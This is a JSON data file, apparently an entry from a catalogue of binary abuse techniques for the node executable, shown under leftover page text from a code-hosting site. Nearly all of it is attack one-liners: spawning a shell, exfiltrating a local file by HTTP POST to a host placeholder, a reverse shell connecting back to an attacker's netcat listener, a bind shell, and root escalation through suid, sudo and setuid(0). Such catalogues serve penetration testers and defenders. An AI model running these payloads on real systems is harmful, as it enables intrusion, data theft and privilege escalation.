You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

59 lines
1.8 KiB
JSON

{
"functions": {
"shell": [
{
"code": "node -e 'child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
}
],
"file-write": [
{
"code": "node -e 'fs.writeFileSync(\"file_to_write\", \"DATA\")'"
}
],
"file-read": [
{
"code": "node -e 'process.stdout.write(fs.readFileSync(\"/bin/ls\"))'"
}
],
"file-download": [
{
"description": "Fetch a remote file via HTTP GET request.",
"code": "node -e 'http.get([host], res => res.pipe(fs.createWriteStream([file])))'\n"
}
],
"file-upload": [
{
"description": "Send a local file via HTTP POST request.",
"code": "node -e 'fs.createReadStream([file]).pipe(http.request([host]))'\n"
}
],
"reverse-shell": [
{
"description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.",
"code": "node -e 'sh = child_process.spawn(\"/bin/sh\");\nnet.connect([port], [host], function () {\n this.pipe(sh.stdin);\n sh.stdout.pipe(this);\n sh.stderr.pipe(this);\n})'\n"
}
],
"bind-shell": [
{
"description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.",
"code": "node -e 'sh = child_process.spawn(\"/bin/sh\");\nnet.createServer(function (client) {\n client.pipe(sh.stdin);\n sh.stdout.pipe(client);\n sh.stderr.pipe(client);\n}).listen([port])'\n"
}
],
"suid": [
{
"code": "./node -e 'child_process.spawn(\"/bin/sh\", [\"-p\"], {stdio: [0, 1, 2]})'\n"
}
],
"sudo": [
{
"code": "sudo node -e 'child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
}
],
"capabilities": [
{
"code": "./node -e 'process.setuid(0); child_process.spawn(\"/bin/sh\", {stdio: [0, 1, 2]})'\n"
}
]
}
}